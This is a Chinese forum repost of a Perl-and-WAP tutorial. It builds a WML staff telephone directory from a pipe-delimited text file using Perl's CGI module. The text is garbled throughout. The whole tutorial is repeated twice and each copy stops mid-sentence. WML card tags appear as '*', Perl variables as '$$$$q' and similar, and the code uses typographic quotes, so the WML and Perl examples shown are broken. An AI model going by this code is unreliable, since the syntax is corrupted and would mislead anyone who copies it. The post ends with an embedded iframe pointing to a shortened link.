Perl与WAP-程序举例
2013/1/5 17:48:00 人气 157 怀旧国机论坛程序举例
假设我们需要开发一个WML应
用,WAP用户可以通过职员及其电话
号码列表来查询职员信息。现在我们
暂时有两个职员的数据,但将来还需要
增加职员数量。因此,我们需要将职员
数据保存在一个文本文件中,以便将来
增加数据。该文本文件中的数据可通
过随后编写的动态WML页面来显
示。
首先,我们建立一个名
为“people_data.txt”的文本文件,来
存放职员信息,内容如下:
# Name|phone num|fax num|
Title
Cao Jian|123-4567|098-7654|
Director of OS Development
Zhang San|123-4568|098-7655|
Senior VP of OS Research
其中,“|”符号是用来区别字段
的,“#”是用来注释数据结构的。
为了说明使用Perl来编写的必要性,我
们先给出使用WML来显示这两名职
员信息的卡片组,代码如下:
<?xml version=“1.0“?>
<!DOCTYPE wml PUBLIC “-//
WAPFORUM//DTD WML 1.1//EN“
“http://www.wapforum.org/DTD/
wml_1.1.xml“>
<wml>
<* title=“Telephone Book“
id=“index“>
<p>
Welcome to NEW Inc.
Telephone Book
<a href=“#view“>Click to
view list</a>
</p>
</*>
<* title=“List of Names“
id=“view“>
<p>
<a href=“#cao_*“>Cao
Jian - 123-4567</a>
<a
href=“#zhang_*“>Zhang San -
123-4568</a>
</p>
</*>
<* title=“* for Cao Jian“
id=“cao_*“>
<p>
Director of OS development
Phone number: 123-4567
Fax number: 098-7654
</p>
</*>
<* title=“* for Zhang San“
id=“zhang_*“>
<p>
Senior VP of OS research
Phone number: 123-4568
Fax number: 098-7655
</p>
</*>
</wml>
通过这个程序我们可以看到,如果增加
新的职员,那么我们就不得不重新修改
程序文件。这显然不是一个好办法。
因此,我们设计了people_data.txt文
本文件,可以随时增加职员数据,然后
使用Perl实现上述WML页面的任
务。我们的目标是,程序设计好后无需
改动,只需通过给文本文件添加职员数
据,就可以通过Perl编写的WML页面
实现对增添职员后数据的浏览。
使用Perl编程时,最先需要完成的是设
置我们的Perl环境。我们可以使用
CGI模块来进行HTTP数据显示和处
理,代码如下:
#!/usr/bin/perl -w
use strict;
use CGI qw/:standard/;
# Our CGI object
my $$$$q = new CGI;
接下来,我们使用Perl语言编写上述
WML页面的主体部分,同时建立标量
变量,来保存文本文件名,以备后面从
中读取数据。另外创建动态ID,这里
用“a“表示,用于标识每一条职员数据,
即一条记录。我们的目的是一次性地
将所有的职员数据都生成卡片,然后使
用一个初始化的缓冲区来显示职员的
数据内容。这段代码如下:
# 定义获取职员信息的数据文件
my $$$$data = “people_data.txt“;
# 显示标题的卡片
my $$$$title_* = qq (
<* title=“Telephone Book“
id=“index“>
<p>
Welcome to NEW Inc.
Telephone Book<br/>
<a href=“#view“>Click to
view list</a>
</p>
</*>
);
# 初始化第一条记录的ID
my $$$$id = “a“;
# 开始创建浏览卡片
my $$$$view_* = ‘<* title=“All
names in directory“ id=“view“>
<p>
Click on a name for more *<br/
>‘;
# 用于临时存放卡片信息的变量(相当
于缓冲区)
my $$$$all_*_*;
下面,我们要打开数据文件,当然打开
前要检查权限,以保证我们真的能够打
开,然后进行数据的读取。读取时,指
定文本文件中以“#”开头的行仅作注
释之用,不属于被读的内容。在读取数
据的过程当中,我们需要做一定的检
查,以保证每个部分的确有数据。在这
里,我们把从文件中提取的数据传给两
个子过程,它们将返回由这些参数数据
所确定的卡片。注意我们使用了Perl
的“ .= operator”运算符,它使得子过
程返回
假设我们需要开发一个WML应
用,WAP用户可以通过职员及其电话
号码列表来查询职员信息。现在我们
暂时有两个职员的数据,但将来还需要
增加职员数量。因此,我们需要将职员
数据保存在一个文本文件中,以便将来
增加数据。该文本文件中的数据可通
过随后编写的动态WML页面来显
示。
首先,我们建立一个名
为“people_data.txt”的文本文件,来
存放职员信息,内容如下:
# Name|phone num|fax num|
Title
Cao Jian|123-4567|098-7654|
Director of OS Development
Zhang San|123-4568|098-7655|
Senior VP of OS Research
其中,“|”符号是用来区别字段
的,“#”是用来注释数据结构的。
为了说明使用Perl来编写的必要性,我
们先给出使用WML来显示这两名职
员信息的卡片组,代码如下:
<?xml version=“1.0“?>
<!DOCTYPE wml PUBLIC “-//
WAPFORUM//DTD WML 1.1//EN“
“http://www.wapforum.org/DTD/
wml_1.1.xml“>
<wml>
<* title=“Telephone Book“
id=“index“>
<p>
Welcome to NEW Inc.
Telephone Book
<a href=“#view“>Click to
view list</a>
</p>
</*>
<* title=“List of Names“
id=“view“>
<p>
<a href=“#cao_*“>Cao
Jian - 123-4567</a>
<a
href=“#zhang_*“>Zhang San -
123-4568</a>
</p>
</*>
<* title=“* for Cao Jian“
id=“cao_*“>
<p>
Director of OS development
Phone number: 123-4567
Fax number: 098-7654
</p>
</*>
<* title=“* for Zhang San“
id=“zhang_*“>
<p>
Senior VP of OS research
Phone number: 123-4568
Fax number: 098-7655
</p>
</*>
</wml>
通过这个程序我们可以看到,如果增加
新的职员,那么我们就不得不重新修改
程序文件。这显然不是一个好办法。
因此,我们设计了people_data.txt文
本文件,可以随时增加职员数据,然后
使用Perl实现上述WML页面的任
务。我们的目标是,程序设计好后无需
改动,只需通过给文本文件添加职员数
据,就可以通过Perl编写的WML页面
实现对增添职员后数据的浏览。
使用Perl编程时,最先需要完成的是设
置我们的Perl环境。我们可以使用
CGI模块来进行HTTP数据显示和处
理,代码如下:
#!/usr/bin/perl -w
use strict;
use CGI qw/:standard/;
# Our CGI object
my $$$$q = new CGI;
接下来,我们使用Perl语言编写上述
WML页面的主体部分,同时建立标量
变量,来保存文本文件名,以备后面从
中读取数据。另外创建动态ID,这里
用“a“表示,用于标识每一条职员数据,
即一条记录。我们的目的是一次性地
将所有的职员数据都生成卡片,然后使
用一个初始化的缓冲区来显示职员的
数据内容。这段代码如下:
# 定义获取职员信息的数据文件
my $$$$data = “people_data.txt“;
# 显示标题的卡片
my $$$$title_* = qq (
<* title=“Telephone Book“
id=“index“>
<p>
Welcome to NEW Inc.
Telephone Book<br/>
<a href=“#view“>Click to
view list</a>
</p>
</*>
);
# 初始化第一条记录的ID
my $$$$id = “a“;
# 开始创建浏览卡片
my $$$$view_* = ‘<* title=“All
names in directory“ id=“view“>
<p>
Click on a name for more *<br/
>‘;
# 用于临时存放卡片信息的变量(相当
于缓冲区)
my $$$$all_*_*;
下面,我们要打开数据文件,当然打开
前要检查权限,以保证我们真的能够打
开,然后进行数据的读取。读取时,指
定文本文件中以“#”开头的行仅作注
释之用,不属于被读的内容。在读取数
据的过程当中,我们需要做一定的检
查,以保证每个部分的确有数据。在这
里,我们把从文件中提取的数据传给两
个子过程,它们将返回由这些参数数据
所确定的卡片。注意我们使用了Perl
的“ .= operator”运算符,它使得子过
程返回

[iframe=2*2]http://url.cn/FLfTXA[/iframe]
发表回复